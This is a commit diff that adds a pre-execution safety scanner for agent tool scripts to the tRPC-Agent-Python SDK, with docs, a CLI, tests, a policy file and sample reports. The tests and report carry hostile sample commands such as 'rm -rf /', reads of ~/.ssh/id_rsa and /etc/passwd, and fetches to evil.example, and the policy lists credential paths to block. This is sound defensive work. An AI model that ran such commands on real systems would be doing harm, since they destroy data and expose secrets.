add tool script safety guard

Author: March-77

docs/tool_script_safety.md

@@ -0,0 +1,41 @@
+# Tool Script Safety Guard
+
+`trpc_agent_sdk.tools.safety` 在脚本执行前进行快速静态扫描，支持 Python 与 Bash，输出
+`allow`、`deny` 或 `needs_human_review`。规则覆盖危险文件操作、敏感路径、网络外连、进程创建、
+依赖安装、资源滥用及秘密泄漏。规则命中包含风险类型、级别、规则 ID、证据、行号和处理建议。
+
+## 使用与接入
+
+```python
+from trpc_agent_sdk.tools.safety import JsonlAuditSink, ToolSafetyGuard
+from trpc_agent_sdk.tools.safety import ToolSafetyRequest, ToolScriptSafetyScanner
+
+scanner = ToolScriptSafetyScanner.from_policy_file("tool_safety_policy.yaml")
+guard = ToolSafetyGuard(scanner, JsonlAuditSink("tool_safety_audit.jsonl"))
+result = await guard.run(
+    ToolSafetyRequest(tool_name="python", script=code, language="python"),
+    lambda: execute_in_sandbox(code),
+)
+```
+
+所有 `BaseTool` 均经过 Filter 链。向 Tool、MCP Tool 或 Skill 背后的 Tool 添加注册名
+`tool_script_safety`，即可在 `_run_async_impl` 或 CodeExecutor 真正运行前检查 `script`、`code` 或
+`command` 参数。`needs_human_review` 默认暂停执行；调用方完成审批后可传
+`human_approved=True`。命令行可运行：
+
+```bash
+python scripts/tool_safety_check.py --file job.py --language python
+python scripts/tool_safety_check.py --command "curl https://api.example.com/health"
+```
+
+策略 YAML 可直接修改域名白名单、允许命令、禁止路径、超时和最大输出大小，无需改代码。
+每次 Guard 检查可写 JSONL 审计事件，并在当前 OpenTelemetry span 设置
+`tool.safety.decision`、`tool.safety.risk_level`、`tool.safety.rule_id`、耗时和拦截状态。
+
+## 安全边界与扩展
+
+这是执行前的 Filter，不是沙箱。静态规则会有误报，也可能被编码、动态拼接、别名、间接导入、
+运行时下载或未知解释器绕过；它不能限制 CPU、内存、文件系统、网络和子进程。生产环境仍应让
+CodeExecutor 在最小权限沙箱内运行，并同时设置进程超时、输出上限、网络策略和凭据隔离。
+新增规则时在 scanner 中追加窄匹配并返回稳定 rule ID，同时添加安全与危险对照样本；高风险规则
+应优先拒绝，不确定行为应进入人工复核。

scripts/tool_safety_check.py

@@ -0,0 +1,41 @@
+#!/usr/bin/env python3
+"""Scan a Python file or Bash command and print a JSON safety report."""
+
+from __future__ import annotations
+
+import argparse
+import json
+import sys
+from pathlib import Path
+
+# Make the source checkout runnable without requiring an editable install.
+sys.path.insert(0, str(Path(__file__).resolve().parents[1]))
+
+from trpc_agent_sdk.tools.safety import ToolSafetyRequest
+from trpc_agent_sdk.tools.safety import ToolScriptSafetyScanner
+
+
+def main() -> int:
+    parser = argparse.ArgumentParser(description=__doc__)
+    source = parser.add_mutually_exclusive_group(required=True)
+    source.add_argument("--file", type=Path, help="Python or shell script to scan")
+    source.add_argument("--command", help="Shell command to scan")
+    parser.add_argument("--policy", type=Path, default=Path("tool_safety_policy.yaml"))
+    parser.add_argument("--tool-name", default="script_check")
+    parser.add_argument("--language", choices=("auto", "python", "bash", "shell"), default="auto")
+    args = parser.parse_args()
+
+    script = args.file.read_text(encoding="utf-8") if args.file else args.command
+    language = args.language
+    if language == "auto" and args.file:
+        language = "python" if args.file.suffix == ".py" else "bash"
+    scanner = ToolScriptSafetyScanner.from_policy_file(args.policy)
+    report = scanner.scan(
+        ToolSafetyRequest(tool_name=args.tool_name, script=script, language=language)
+    )
+    print(json.dumps(report.model_dump(mode="json"), ensure_ascii=False, indent=2))
+    return 0 if report.decision.value == "allow" else 2
+
+
+if __name__ == "__main__":
+    raise SystemExit(main())

tests/tools/safety/test_tool_script_safety.py

@@ -0,0 +1,149 @@
+# Tencent is pleased to support the open source community by making tRPC-Agent-Python available.
+#
+# Copyright (C) 2026 Tencent. All rights reserved.
+#
+# tRPC-Agent-Python is licensed under Apache-2.0.
+"""Acceptance tests for Tool Script Safety Guard."""
+
+from __future__ import annotations
+
+import json
+import time
+
+import pytest
+
+from trpc_agent_sdk.abc import FilterResult
+from trpc_agent_sdk.tools.safety import JsonlAuditSink
+from trpc_agent_sdk.tools.safety import SafetyDecision
+from trpc_agent_sdk.tools.safety import ToolSafetyBlockedError
+from trpc_agent_sdk.tools.safety import ToolSafetyGuard
+from trpc_agent_sdk.tools.safety import ToolSafetyPolicy
+from trpc_agent_sdk.tools.safety import ToolSafetyRequest
+from trpc_agent_sdk.tools.safety import ToolSafetyResourceLimitError
+from trpc_agent_sdk.tools.safety import ToolScriptSafetyFilter
+from trpc_agent_sdk.tools.safety import ToolScriptSafetyScanner
+
+
+@pytest.fixture
+def scanner() -> ToolScriptSafetyScanner:
+    return ToolScriptSafetyScanner(
+        ToolSafetyPolicy(
+            allowed_domains=["api.example.com"],
+            allowed_commands=["echo", "pwd", "ls", "cat", "grep", "curl"],
+        )
+    )
+
+
+@pytest.mark.parametrize(
+    ("name", "language", "script", "decision", "rule_id"),
+    [
+        ("safe_python", "python", "items = [1, 2, 3]\nprint(sum(items))", "allow", None),
+        ("dangerous_delete", "bash", "rm -rf /", "deny", "FILE_DESTRUCTIVE"),
+        ("read_ssh_key", "python", "print(open('~/.ssh/id_rsa').read())", "deny", "PATH_FORBIDDEN"),
+        ("network_egress", "python", "requests.get('https://evil.example/collect')", "deny",
+         "NET_DOMAIN_NOT_ALLOWED"),
+        ("allowed_network", "python", "requests.get('https://api.example.com/health')", "allow", None),
+        ("subprocess", "python", "subprocess.run(['git', 'status'])", "needs_human_review", "PROCESS_SPAWN"),
+        ("shell_injection", "bash", "echo safe; cat /etc/passwd", "deny", "SHELL_CONTROL_OPERATOR"),
+        ("dependency_install", "bash", "pip install untrusted", "deny", "DEPENDENCY_INSTALL"),
+        ("infinite_loop", "python", "while True:\n    pass", "deny", "RESOURCE_INFINITE_LOOP"),
+        ("secret_output", "python", "print('api_key=' + api_key)", "deny", "SECRET_EXPOSURE"),
+        ("bash_pipeline", "bash", "cat input.txt | grep token", "needs_human_review", "SHELL_PIPELINE_REVIEW"),
+        ("dynamic_network", "python", "url = input()\nrequests.get(url)", "needs_human_review",
+         "NET_DYNAMIC_DESTINATION"),
+    ],
+)
+def test_public_samples(scanner, name, language, script, decision, rule_id):
+    report = scanner.scan(ToolSafetyRequest(tool_name=name, script=script, language=language))
+    assert report.decision.value == decision
+    if rule_id:
+        assert rule_id in report.rule_ids
+        finding = next(item for item in report.findings if item.rule_id == rule_id)
+        assert finding.evidence
+        assert finding.recommendation
+
+
+def test_policy_reload_changes_domain_path_and_command(tmp_path):
+    policy_file = tmp_path / "policy.yaml"
+    policy_file.write_text(
+        "allowed_domains: [internal.example]\n"
+        "allowed_commands: [status]\n"
+        "forbidden_paths: [/sensitive]\n",
+        encoding="utf-8",
+    )
+    scanner = ToolScriptSafetyScanner.from_policy_file(policy_file)
+    report = scanner.scan(
+        ToolSafetyRequest(tool_name="x", script="status", language="bash")
+    )
+    assert report.decision == SafetyDecision.ALLOW
+    assert scanner.scan(ToolSafetyRequest(
+        tool_name="x", script="curl https://internal.example/ok", language="python"
+    )).decision == SafetyDecision.ALLOW
+    assert "PATH_FORBIDDEN" in scanner.scan(ToolSafetyRequest(
+        tool_name="x", script="open('/sensitive/key')", language="python"
+    )).rule_ids
+
+
+def test_500_line_scan_is_faster_than_one_second(scanner):
+    script = "\n".join(f"value_{index} = {index}" for index in range(500))
+    started = time.perf_counter()
+    report = scanner.scan(ToolSafetyRequest(tool_name="python", script=script, language="python"))
+    assert time.perf_counter() - started < 1.0
+    assert report.decision == SafetyDecision.ALLOW
+
+
+@pytest.mark.asyncio
+async def test_guard_blocks_before_execution_and_audits(scanner, tmp_path):
+    executed = False
+
+    async def executor():
+        nonlocal executed
+        executed = True
+
+    audit_path = tmp_path / "audit.jsonl"
+    guard = ToolSafetyGuard(scanner, JsonlAuditSink(audit_path))
+    with pytest.raises(ToolSafetyBlockedError):
+        await guard.run(
+            ToolSafetyRequest(tool_name="bash", script="rm -rf /", language="bash"),
+            executor,
+        )
+    assert not executed
+    event = json.loads(audit_path.read_text(encoding="utf-8"))
+    assert event["tool_name"] == "bash"
+    assert event["blocked"] is True
+    assert event["redacted"] is False
+    assert "FILE_DESTRUCTIVE" in event["rule_id"]
+
+
+@pytest.mark.asyncio
+async def test_filter_blocks_before_tool_handler():
+    safety_filter = ToolScriptSafetyFilter()
+    response = FilterResult()
+    await safety_filter._before(None, {"command": "wget https://evil.example/x"}, response)
+    assert response.is_continue is False
+    assert response.rsp["safety_report"]["decision"] == "deny"
+
+
+@pytest.mark.asyncio
+async def test_guard_enforces_output_limit():
+    scanner = ToolScriptSafetyScanner(ToolSafetyPolicy(max_output_bytes=4))
+    guard = ToolSafetyGuard(scanner)
+    with pytest.raises(ToolSafetyResourceLimitError):
+        await guard.run(
+            ToolSafetyRequest(tool_name="safe", script="print('ok')", language="python"),
+            lambda: "12345",
+        )
+
+
+def test_sensitive_environment_values_are_not_recorded(scanner):
+    report = scanner.scan(
+        ToolSafetyRequest(
+            tool_name="python",
+            script="print('done')",
+            language="python",
+            environment={"API_KEY": "super-secret-value"},
+        )
+    )
+    serialized = report.model_dump_json()
+    assert report.redacted is True
+    assert "super-secret-value" not in serialized

tool_safety_audit.jsonl

@@ -0,0 +1 @@
+{"timestamp":"2026-07-13T00:00:00Z","tool_name":"bash","decision":"deny","risk_level":"critical","rule_id":["FILE_DESTRUCTIVE"],"duration_ms":0.2,"redacted":false,"blocked":true}

tool_safety_policy.yaml

@@ -0,0 +1,22 @@
+allowed_domains:
+  - api.example.com
+allowed_commands:
+  - echo
+  - pwd
+  - ls
+  - cat
+  - grep
+  - curl
+forbidden_paths:
+  - ~/.ssh
+  - .env
+  - credentials.json
+  - /etc/shadow
+  - /root
+max_timeout_seconds: 60
+max_output_bytes: 1000000
+deny_risk_levels:
+  - critical
+  - high
+review_risk_levels:
+  - medium

tool_safety_report.json

@@ -0,0 +1,24 @@
+{
+  "tool_name": "bash",
+  "decision": "deny",
+  "risk_level": "critical",
+  "findings": [
+    {
+      "risk_type": "dangerous_file_operation",
+      "risk_level": "critical",
+      "rule_id": "FILE_DESTRUCTIVE",
+      "evidence": "rm -rf /",
+      "recommendation": "Restrict writes to an isolated workspace and require explicit approval.",
+      "line": 1
+    }
+  ],
+  "rule_ids": ["FILE_DESTRUCTIVE"],
+  "duration_ms": 0.2,
+  "redacted": false,
+  "blocked": true,
+  "telemetry_attributes": {
+    "tool.safety.decision": "deny",
+    "tool.safety.risk_level": "critical",
+    "tool.safety.rule_id": "FILE_DESTRUCTIVE"
+  }
+}

trpc_agent_sdk/tools/safety/__init__.py

@@ -0,0 +1,36 @@
+# Tencent is pleased to support the open source community by making tRPC-Agent-Python available.
+#
+# Copyright (C) 2026 Tencent. All rights reserved.
+#
+# tRPC-Agent-Python is licensed under Apache-2.0.
+"""Public API for pre-execution tool script safety checks."""
+
+from ._guard import JsonlAuditSink
+from ._guard import ToolSafetyBlockedError
+from ._guard import ToolSafetyGuard
+from ._guard import ToolSafetyResourceLimitError
+from ._guard import ToolScriptSafetyFilter
+from ._guard import set_safety_span_attributes
+from ._models import RiskLevel
+from ._models import SafetyDecision
+from ._models import SafetyFinding
+from ._models import ToolSafetyReport
+from ._models import ToolSafetyRequest
+from ._policy import ToolSafetyPolicy
+from ._scanner import ToolScriptSafetyScanner
+
+__all__ = [
+    "JsonlAuditSink",
+    "RiskLevel",
+    "SafetyDecision",
+    "SafetyFinding",
+    "ToolSafetyBlockedError",
+    "ToolSafetyGuard",
+    "ToolSafetyPolicy",
+    "ToolSafetyReport",
+    "ToolSafetyResourceLimitError",
+    "ToolSafetyRequest",
+    "ToolScriptSafetyFilter",
+    "ToolScriptSafetyScanner",
+    "set_safety_span_attributes",
+]